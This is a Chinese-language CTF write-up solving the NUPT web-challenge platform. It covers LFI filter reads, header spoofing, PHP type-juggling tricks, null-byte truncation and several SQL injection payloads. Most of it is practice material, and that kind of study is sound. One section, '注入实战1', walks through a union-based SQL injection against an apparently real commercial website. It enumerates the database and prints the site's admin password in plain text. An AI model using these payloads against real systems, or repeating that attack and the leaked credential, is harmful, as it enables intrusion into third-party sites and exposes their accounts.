南京邮电大学攻防平台writeup

最近有发现了一个练习CTF的好地方。南京邮电大学网络攻防平台相当的不错,题目类型涵盖了WEB、隐写术、密码学、MISC四种类型。题目的数量也是十分的多,作为CTF入门以及web安全入门还是不错的。虽然其中的题目难度分配不是十分地合理,但是还是可以从中学习到很多的知识。作为一个刚刚入门的web安全小白,我在做这些题目的过程中也学习到了很多新的知识。在这里也写下这篇文章,温故而知新。这篇文章主要讲解的是WEB体型,至于其他的体型由于目前的关注点不在这个方面就没有做了,这里也不做过多的介绍了。

WEB

签到题

题目很简单,查看网页源代码就可以找到flag。

md5 collision

这个题目如果知道MD5碰撞的概念,同时知道了在PHP中的MD5中的0e的比较,这道题目就十分的简单。
如果md的值是以0e开头的,那么就与其他的0e开头的Md5值是相等的。例子如下:

1
2
3
4
md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
//可以看到两者的md5值都是以0e开头的,则
md5('s878926199a')==md5('s155964671a') //就是True

这篇文章就总结了所有的以MD5的值。

签到2

1
2
3
4
5
6
7
8
9
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登录或口令错误<form action="./index.php" method="post">
<p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
请输入口令:zhimakaimen
<input type="submit" value="开门">
</form>

</html>

只要过maxlength=10这个限制就可以了。方法有很多,修改DOM结构直接去掉这个限制,或者直接使用burpsuite就可以了。

层层递进

这道题目其实也考察什么知识点,更多的就是脑洞。最后通过查看网页源代码,最后的网址是http://chinalover.sinaapp.com/web3/404.html,查看网页源代码,显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- Placed at the end of the document so the pages load faster -->
<!--
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

flag就是ntcf{this_is_a_fl4g}

单身二十年

这个通过burpsuite抓包发现其中有一个http://chinalover.sinaapp.com/web8/search_key.php,查看内容就会发现其中存在flag。

你从哪里来

使用burpsuite抓包,修改Request包中的Header字段,加上Referer:https://www.google.com/就可以拿到flag了。
这道题目需要对常见的Header字段的含义要有所了解和认识。

php decode

题目就是一段PHP代码。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

直接允许这段代码就可以拿到flag了。

文件包含

关于文件包含,参考乌云文章。题目提示是一个LFI的漏洞。访问连接http://4.chinalover.sinaapp.com/web7/index.php?file=show.php这就是一个典型的文件包含的漏洞
遇到了这样的文件包含漏洞,就可以使用filter的方式读取php的源代码了。用法如下:

1
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

网页返回的就是index.php的源代码的base64编码,解码之后显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

flag就知道了。

单身一百年

这道题目是典型的需要通过Burpsuite进行抓包,抓包发现在http://chinalover.sinaapp.com/web9/index.php中的Header头中存在flag。这道题目和前面的单身二十年的题目类似,都是使用Burosuite进行抓包。抓包的时候就主要关注请求头,响应头,页面返回内容。

Download~!

这道题目比较的有有意思。访问网页之后,看到的页面如下:

1
2
<p><a href="download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=" target="_blank">星星点灯</a></p>
<p><a href="download.php?url=YnV4aWFuZ3poYW5nZGEubXAz" target="_blank">不想长大</a></p>

上面显示的就是下载所对应的网页源代码。后面的url的参数的值就是对应的文件名。这姑且可以算作是一个简单的文件包含了。url是可控的,我们将url的参数替换为download.php的base64编码即可。
此时我们使用http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw就可以将download.php下载下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>

通过查看download.php的源代码,发现其中还存在一个hereiskey.php文件。使用同样的方式查看hereiskey.php的源代码就可以得到flag了。

通过题目就知道始于cookie有关的。通过Burpsuite抓包,发现在响应包中存在Set-Cookie: Login=0。根据这个暗示,只需要将cookie设置为Login=1就可以得到flag了。

MYSQL

根据题目提示查看题目下面的robots.txt文件,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}

根据提示需要访问sql.php,同时需要提供参数id。这道题目的关键地方是在于intval()函数,将一个字符串转换为int类型。那么就很简单了。
访问链接:

1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.0000001

就可以得到flag了。
本题需要注意的就是intval()这个函数。

sql injection3

访问链接http://115.28.150.176/sqli/index.php?id=2得到的结果如下:

1
2
执行的sql语句:SELECT id,title FROM news WHERE id='2'
id: 2 title: gbk_sql_injection

说明这是一个GBK字符串的注入,关于GBK的字符串注入,可以参考宽字节注入详解
通过使用%df'就可以逃脱分号的束缚。使用sql语句http://115.28.150.176/sqli/index.php?id=%df' union select * from news%23,页面可以正常地显示内容,接下里就是需要找出flag了。
最后通过各种探查手段,使用sql语句:http://115.28.150.176/sqli/index.php?id=%df' union select *,1 from flag%20%23显示内容如下:

1
2
执行的sql语句:SELECT id,title FROM news WHERE id='運' union select *,1 from flag #'
id: nctf{gbk_3sqli} title: 1

顺利地拿到flag

/x00

这道题目已经暗示了是一个字符串截断的题目。访问题目地址显示内容如下:

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

这个题目在之前的hackit中的练习平台上面也有讲过。可以看这道题目中的第四关。题目几乎一样。在这道题目中,payload就是:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

题目链接
访问题目得到如下代码:

1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

根据题目的意思,需要传入a和b2个参数,但是要求a和b的值不相等的同时a的md5和b的md5需要相等。这道题目不能使用md5碰撞的方法来解决这个问题,因为在这道题目中使用的是恒等,要求值的类型和值完全相同。
这道题目看似没有办法,但其实是利用了PHP中的一个trick。
当md5一个数组的时候,得到的结果是一个空值。那么2个数组的md5是相等。
那么这道题目的payload为:
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

变量覆盖

题目链接
查看网页源代码,关键代码为:

1
2
3
4
5
6
7
 <?php 
if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
extract($_POST);
if ($pass == $thepassword_123) {
echo $theflag;
}
?>

extract():从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
由于extract的参数直接是$_POST,那么就存在了变量覆盖的可能了。使用Burpsuite修改请求参数,传递pass和thepassword_123覆盖掉默认的thepassword_123的值,就可以得到flag了。

PHP是世界上最好的语言

题目链接
查看网页源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

这道题目的问题在于urldecode(),开发者可能认为传递过来的$_GET[id]没有进行url编码,但是实际上已经经过了url的编码。那么这道题目只需要将id=hackerDJ进行两次url编码即可。最终的payload为:
http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

伪装者

题目链接
题目提示:

1
不是本地登陆你还想要flag?

根据提示需要本地登陆,那么就需要修改请求头了。增加请求头X-Forwarded-For: 127.0.0.1就可以通过验证拿到flag了。

上传绕过

题目链接
这道题目当时也是做了很长时间,一直无法绕过。虽然我知道这道题目考察的是截断上传的知识点,但是还是无从下手。最后经过多次尝试之后发现了突破口。
当上传了一个PNG文件之后,网页返回的结果是:

如果上传了一个PHP文件之后,网页返回的结果就是:

Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件
首先是要通过png,jpg的验证,然后在需要进行php的验证。

关于截断上传可以看这篇文章,这篇文章很详细地说明了截断上传的原理以及burpsuite在截断上传使用。起初尝试qq.png .php、qq.php .png都无法成功。
后来看发送的网络请求对于参数dir存在一个uploads的值,那么修改参数为uploads/1.php[空格],然后在16进制模式下,将20修改为00。最后就可以得到flag了。

SQL注入1

题目链接
其中的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

一个入门级的SQL注入的例子。payload如下:
user=admin%27%29%23&pass=Password

pass check

题目链接
核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass)) {
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
} else {
echo "the pass is wrong!";
}
} else {
echo "please input pass!";
}
?>

这道题目中使用了strcmp()函数来比较pass和pass1的值是否相等。但是strcmp()同样存在漏洞。关于strcmp的漏洞网上有很多,这里截取了网上的一段分析:

strcmp() 函数比较两个字符串。
该函数返回:
0 - 如果两个字符串相等;<0 -="" 如果="" string1="" 小于="" string2;="">0 - 如果 string1 大于 string2
这里的strcmp函数实际上是将两个变量转换成ascii 然后做数学减法,返回一个int的差值。
也就是说键入’a’和’a’进行比较得到的结果就是0那么如果让$array和’a’比较呢?

1
2
http://localhost:8888/1.php?a[]=1
var_dump(strcmp($_GET[a],'a'));

这时候php返回了null!
那么这道题目就可以将pass以一个数组的方式传入。payload为:
pass[]=123

起名字真难

题目链接
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function noother_says_correct($number) {
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) ){
return false;
}
}
return $number == '54975581388';
}
$flag='*';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

这道题目看似没有办法,但是想到可以传入16进制,那么问题就解决了。所以payload为:
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

PHP反序列化

这道题目已经有人做出了详细的说明了,我也是参考的这篇文章。我在这里就不进行赘述了。

sql injection 4

题目的提示是:

反斜杠可以用来转义,仔细查看相关函数的用法

查看网页的源代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
-->
Invalid password!

发现sql查选语句使用了分号,对于此种类型的sql注入就必须要闭合其中的分号。由于使用了htmlentities()函数,所以无法使用分号了。此时就可以使用反斜杠来通过转义的方式来吞掉一个分号。注入的payload为:http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1%23。那么最后的查询语句就会变为:SELECT * FROM users WHERE name='admin\'AND pass=' or 1#'这样就得到了flag了。
其实本体比较的简单,遇到了带有引号的sql查选,就是要逃脱单引号,要么就是生成一个单引号,要么就是省略掉一个单引号。在本题中由于没有屏蔽反斜线,就可以使用反斜线来去掉一个单引号。

SQL注入2

题目链接
查看网页代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

这也是一个十分简单的SQL注入,这里就多进行介绍了。直接给出payload。
user=0' union select 'c4ca4238a0b923820dcc509a6f75849b' %23&pass=1

####注入实战1
题目链接
就是喜欢这样偏实战的题目,也是练习手注SQL的好方式
题目的链接http://www.backstagecommerce.ca/services.php?id=4就是一个注入点。

步骤1

http://www.backstagecommerce.ca/services.php?id=4 order by 19,知道存在19个字段。

步骤2

http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,知道在页面上显示的字段是3,6,7,8,9,12,13,10,11

步骤3

查找数据库名和表明
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(table_name),12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database(),可以找到当前数据库中所有的表,其中存在一个users表。
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(column_name),12,13,14,15,16,17,18,19 from information_schema.columns where table_name='users'发现在users表中存在id,username,password3个字段。

步骤4

得到管理员密码
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(password),12,13,14,15,16,17,18,19 from users
得到管理员的密码是BSCmarketing24。
那么最后的flag就是BSCmarketing24的md5值了。

密码重置2

首先看题目的提示:

1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
打开链接看到题目的显示如下:

查看网页源代码,知道用户名是admin@nuptzj.cn,登陆提交的地址是http://nctf.nuptzj.cn/web14/submit.php,根据题目给出来的提示,可能会存在备份文件,一般情况下备份文件一般都是myfile.txt~或者是.myfile.txt.swp,经过测试发现存在.submit.php.swp文件,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
........这一行是省略的代码........ /* 如果登录邮箱地址不是管理员则 die() 数据库结构 -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可见***', '***不可见***', 0); */ ........这一行是省略的代码........ 
if(!empty($token)&&!empty($emailAddress)) {
if(strlen($token)!=10)
die('fail');
if($token!='0')
die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){ echo $flag; }
else{ echo "失败了呀"; }
}

其中就是建表语句以及submit.php的语句。从中可以看到,要求token的长度为10且token的值是0,那么token就可以设置为0000000000,提交之后就可以知道flag了。
这道题目虽然是最后一题,但是还是比较地简单的,就是需要对vi下面的备份文件需要了解,知道会存在什么样的备份文件。

最后

终于写完了这篇writeup了。没有想到写一篇writeup比做一篇都要累。但是通过写这篇writeup,发现自己当时做的时候知识点还是有些遗忘,看来还是需要继续加强同时还需要多多回顾。